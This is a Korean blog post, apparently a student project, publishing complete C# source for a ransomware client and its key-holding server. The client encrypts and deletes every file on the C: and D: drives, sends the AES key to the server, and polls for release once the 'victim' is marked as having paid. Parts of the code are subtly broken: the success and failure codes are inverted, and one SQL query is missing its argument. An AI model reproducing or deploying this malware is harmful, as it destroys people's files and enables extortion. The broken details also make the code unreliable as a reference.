[국원고 프로젝트] 랜섬웨어 전체 코드

Benedictus Park·2022년 12월 15일
0
post-thumbnail

GitHub: https://github.com/benkerry/gukwon-ransomware

# Utils.cs

namespace Utils
{
    public struct KeySet
    {
        public byte[] Key;
        public byte[] IV;
    }

    public static class ArrayAppender
    {
        public static void Append<T>(ref T[] a, T[] b)
        {
            T[] result = new T[a.Length + b.Length];

            for(int i = 0; i < a.Length; i++)
            {
                result[i] = a[i];
            }
            for(int i = a.Length; i < a.Length + b.Length; i++)
            {
                result[i] = b[i - a.Length];
            }

            a = result;
        }

        public static void Append<T>(ref T[] a, T b)
        {
            T[] result = new T[a.Length + 1];

            for(int i = 0; i < a.Length; i++)
            {
                result[i] = a[i];
            }

            result[a.Length] = b;
            a = result;
        }
    }

    public static class CONSTANTS
    {
        public static int FAIL = 0x00;
        public static int SUCCESS = 0x01;
        public static int SEND_KEY = 0x02;
        public static int DECRYPT_REQ = 0x03;
    }
}
  • 두 배열을 합치거나, 배열에 하나의 데이터를 추가하는 기능을 가진 ArrayAppender Static Class가 있다.
  • ArrayAppender.Append 메서드는 메서드 오버로딩이 되어 있다. 두 배열 T[] a, T[] b를 인자로 받는 메서드, 한 배열과 하나의 데이터 T[] a, T b를 인자로 받는 메서드가 바로 그것이다.
  • CONSTANTS Static Class에는 Server-Client 간 통신에 필요한 상수들이 선언되어 있다.
  • gukwon-ransomeware-client와 gukwon-ransomware-server가 공통적으로 사용하는 라이브러리 프로젝트로 되어 있다.

# (Client) FilePathGetter.cs

using System.IO;

using Utils;

namespace gukwon_ransomeware_client
{
    public class FilePathGetter
    {
        private string[] allFilePathes;

        public FilePathGetter()
        {
            allFilePathes = new string[0];
        }

        public string[] GetAllFilePathes(string[] dirPathes)
        {
            for (int i = 0; i < dirPathes.Length; i++)
            {
                if(Directory.Exists(dirPathes[i]))
                    GetAllFilePathes(new DirectoryInfo(dirPathes[i]));
            }

            return allFilePathes;
        }

        private void GetAllFilePathes(DirectoryInfo dirInfo)
        {            
            FileInfo[] files = dirInfo.GetFiles();
            DirectoryInfo[] dirs = dirInfo.GetDirectories();
            string[] pathes = new string[files.Length];

            if (dirInfo.FullName.ToUpper().Contains("SYSTEM"))
                return;

            for (int i = 0; i < files.Length; i++)
            {
                pathes[i] = files[i].FullName;
            }

            ArrayAppender.Append(ref allFilePathes, pathes);

            for(int i = 0; i < dirs.Length; i++)
            {
                GetAllFilePathes(dirs[i]);
            }
        }
    }
}
  • 당 클래스의 인스턴스를 만들고, [인스턴스명].GetAllFilePathes를 해주면 GetAllFilePathes의 파라미터로 전달된 string 배열에 담긴 경로 하위의 모든 파일 경로가 구해져 string 배열에 담겨 리턴된다. 재귀함수를 이용해 구현하였다.

# (Client) Encryptor.cs

using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Encryptor
    {        
        private RijndaelManaged aes;
        public Utils.KeySet keySet;

        public Encryptor()
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.GenerateKey();
            aes.GenerateIV();
        }

        public Utils.KeySet EncryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            Utils.KeySet keySet;
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;
            
            for (int i = 0; i < pathes.Length; i++)
            {
                if (File.Exists(pathes[i]))
                {
                    inFs = new FileStream(pathes[i], FileMode.Open);
                    outFs = new FileStream(pathes[i] + ".encrypted", FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateEncryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count > 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i]);
                }
            }

            keySet.Key = aes.Key;
            keySet.IV = aes.IV;

            return keySet;
        }
    }
}
  • 파일 암호화를 담당하는 클래스이다.
  • Key와 IV는 자동 생성되며, EncryptFiles 메서드가 KeySet에 담아 리턴하게 된다.
  • 인스턴스를 만들고 [인스턴스명].EncryptFiles 메서드를 호출하면 된다. 그러면 EncryptFiles의 인자로 주어진 파일 경로의 파일들이 모두 임의의 Key, IV로 AES 암호화가 된다.
  • [인스턴스명].EncryptFiles 메서드는 KeySet Type 데이터를 리턴하는데, byte[] Key와 byte[] IV가 모두 담긴 구조체이다.

# (Client) Decryptor.cs

using System.IO;
using System.Security.Cryptography;

namespace gukwon_ransomeware_client
{
    public class Decryptor
    {
        private RijndaelManaged aes;

        public Decryptor(byte[] Key, byte[] IV)
        {
            aes = new RijndaelManaged();

            aes.KeySize = 256;
            aes.BlockSize = 128;
            aes.Padding = PaddingMode.PKCS7;
            aes.Mode = CipherMode.CBC;

            aes.Key = Key;
            aes.IV = IV;
        }

        public void DecryptFiles(string[] pathes)
        {
            int count;
            int blockSizeBytes = aes.BlockSize / 8;
            byte[] data = new byte[blockSizeBytes];
            FileStream inFs;
            FileStream outFs;
            CryptoStream cryptoStream;

            for (int i = 0; i < pathes.Length; i++)
            {
                if (File.Exists(pathes[i] + ".encrypted"))
                {
                    inFs = new FileStream(pathes[i] + ".encrypted", FileMode.Open);
                    outFs = new FileStream(pathes[i], FileMode.Create);
                    cryptoStream = new CryptoStream(outFs, aes.CreateDecryptor(), CryptoStreamMode.Write);

                    do
                    {
                        count = inFs.Read(data, 0, blockSizeBytes);
                        cryptoStream.Write(data, 0, count);
                    }
                    while (count > 0);

                    inFs.Close();

                    cryptoStream.FlushFinalBlock();
                    cryptoStream.Close();

                    outFs.Close();

                    File.Delete(pathes[i] + ".encrypted");
                }
            }
        }
    }
}
  • 파일 복호화를 담당하는 클래스이다.
  • 인스턴스를 생성 시, 생성자에서 byte[] Key와 byte[] IV를 인자로 받는다.
  • [인스턴스명].DecryptFiles에 파일 경로 string 배열을 넘겨주면 해당 배열 안에 들어있는 경로의 파일이 생성자에서 받았던 Key와 IV로 복호화 된다.

# (Client) Program.cs

using System;
using System.IO;
using System.Timers;
using System.Net.Sockets;
using System.Net.NetworkInformation;

using Utils;

namespace gukwon_ransomeware_client
{
    class Program
    {
        static string[] pathes = new string[0];

        static void Elapsed(object src, ElapsedEventArgs e)
        {
            string base64_key = null, base64_iv = null;
            TcpClient client = new TcpClient("localhost", 4444);
            NetworkStream stream = client.GetStream();
            BinaryWriter wtr = new BinaryWriter(stream);
            BinaryReader rdr = new BinaryReader(stream);
            Decryptor decryptor;

            wtr.Write(CONSTANTS.DECRYPT_REQ);
            wtr.Write(NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString());
            wtr.Close();

            switch (rdr.ReadInt32())
            {
                case 0x00:
                    base64_key = rdr.ReadString();
                    base64_iv = rdr.ReadString();
                    break;
                case 0x01:
                    rdr.Close();
                    wtr.Close();
                    stream.Close();
                    client.Close();
                    return;
            }

            decryptor = new Decryptor(Convert.FromBase64String(base64_key), Convert.FromBase64String(base64_iv));
            decryptor.DecryptFiles(pathes);

            rdr.Close();
            wtr.Close();
            stream.Close();
            client.Close();
        }

        static void Main()
        {
            Timer timer = new Timer(1000 * 60 * 5);
            Console.WriteLine("실행 중 종료시 파일들이 손상될 수 있습니다. . .");

            if (File.Exists("data.dat"))
            {
                BinaryReader rdr = new BinaryReader(new FileStream("data.dat", FileMode.Open));

                pathes = new string[rdr.ReadInt32()];

                for (int i = 0; i < pathes.Length; i++)
                {
                    pathes[i] = rdr.ReadString();
                }

                rdr.Close();
            }
            else
            {
                KeySet keySet;
                string macaddr, base64_key, base64_iv;
                BinaryWriter wtr;
                FilePathGetter pathGetter = new FilePathGetter();
                Encryptor encryptor = new Encryptor();
                TcpClient client;
                NetworkStream stream;

                if (Directory.Exists("C:\\"))
                {
                    pathes = pathGetter.GetAllFilePathes(new string[1] { "C:\\" });
                }
                if (Directory.Exists("D:\\"))
                {
                    ArrayAppender.Append(ref pathes, pathGetter.GetAllFilePathes(new string[1] { "D:\\" }));
                }

                keySet = encryptor.EncryptFiles(pathes);

                wtr = new BinaryWriter(new FileStream("data.dat", FileMode.Create));
                wtr.Write(pathes.Length);

                for (int i = 0; i < pathes.Length; i++)
                {
                    wtr.Write(pathes[i]);
                }

                wtr.Close();

                macaddr = NetworkInterface.GetAllNetworkInterfaces()[0].GetPhysicalAddress().ToString();
                base64_key = Convert.ToBase64String(keySet.Key);
                base64_iv = Convert.ToBase64String(keySet.IV);

                client = new TcpClient("localhost", 4444);
                stream = client.GetStream();
                wtr = new BinaryWriter(stream);

                wtr.Write(CONSTANTS.SEND_KEY);
                wtr.Write(macaddr);
                wtr.Write(base64_key);
                wtr.Write(base64_iv);

                wtr.Close();

                stream.Close();
                client.Close();
            }
            timer.Elapsed += Elapsed;
            timer.Start();
        }
    }
}
  • 최초 실행 시 C:\와 D:\ 하위의 모든 파일 경로를 구한다. 그리고 그것을 data.dat에 저장한다.
  • 구한 모든 파일 경로 정보를 이용, 모든 파일을 Encryptor 클래스의 인스턴스로 암호화 진행한다.
  • 그리고 서버로 Key와 IV를 BASE64로 인코딩하여 전송한다.
  • 5분마다 공격자의 요구가 충족되었는지를 서버에 질의한다. 이 때, 응답의 첫 32비트의 값이 0이면 요구가 충족되지 않은 상태이며, 1이면 요구가 충족된 상태이다.
  • 응답의 첫 32비트의 값이 0이면 그냥 함수를 return 해버리고, 1이면 그 뒤에 붙어있는 BASE64 Encoded Key와 BASE64 Encoded IV를 읽어온다.
  • Key와 IV를 성공적으로 읽어왔다면, 해당 정보를 이용해 모든 파일을 Decryptor 클래스의 인스턴스로 복호화 진행한다.

# (Server) Program.cs

using System.IO;
using System.Net;
using System.Net.Sockets;

using Utils;
using MySql.Data.MySqlClient;

namespace gukwon_ransomware_server
{
    class Program
    {
        static void Main()
        {
            int mode;
            string macaddr, base64_key, base64_iv;
            TcpListener server = new TcpListener(IPAddress.Any, 4444);
            TcpClient client;
            NetworkStream netStream;
            BinaryReader rdr;
            BinaryWriter wtr;
            MySqlConnection conn;
            MySqlCommand cmd;
            MySqlDataReader sqlrdr;

            server.Start();

            while (true)
            {
                client = server.AcceptTcpClient();

                conn = new MySqlConnection("Server=localhost;Database=gukwon_ransomware;Uid=root;Pwd=test;");
                conn.Open();

                netStream = client.GetStream();
                rdr = new BinaryReader(netStream);

                mode = rdr.ReadInt32();
                macaddr = rdr.ReadString();

                if (mode == CONSTANTS.SEND_KEY)
                {
                    base64_key = rdr.ReadString();
                    base64_iv = rdr.ReadString();

                    cmd = new MySqlCommand(string.Format("INSERT INTO victims(mac_addr, keystring, ivstring) VALUES(\"{0}\", \"{1}\", \"{2}\";", macaddr, base64_key, base64_iv));
                    cmd.ExecuteNonQuery();

                    conn.Close();
                    cmd.Dispose();
                    rdr.Close();
                    netStream.Close();
                    client.Close();
                }
                else
                {
                    cmd = new MySqlCommand(string.Format("SELECT keystring, ivstring FROM victims WHERE macaddr=\"{0}\" AND satisfied = 1"));
                    sqlrdr = cmd.ExecuteReader();

                    if (sqlrdr.HasRows)
                    {
                        rdr.Close();

                        sqlrdr.Read();
                        wtr = new BinaryWriter(netStream);
                        wtr.Write(CONSTANTS.SUCCESS);
                        wtr.Write(sqlrdr["keystring"].ToString());
                        wtr.Write(sqlrdr["ivstring"].ToString());

                        wtr.Close();
                        conn.Close();
                        cmd.Dispose();
                        netStream.Close();
                        client.Close();
                    }
                    else
                    {
                        wtr = new BinaryWriter(netStream);
                        wtr.Write(CONSTANTS.FAIL);

                        wtr.Close();
                        conn.Close();
                        cmd.Dispose();
                        rdr.Close();
                        netStream.Close();
                        client.Close();
                    }
                }
            }
        }
    }
}
  • 감염자 발생 시, 감염자로부터 날아온 MAC 주소, BASE64 Encoded Key, BASE64 Encoded IV를 MySQL DB에 넣는다.
  • 공격자 요구 충족 여부를 확인하려는 통신이 날아왔을 때에는 MySQL DB를 조회해 요구가 충족되었는지 확인하고, 충족되지 않았다면 32비트 0을 응답으로 보낸다. 충족된 경우에는 32비트 1 / BASE64 Encoded Key / BASE64 Encoded IV를 응답으로 보낸다.

0개의 댓글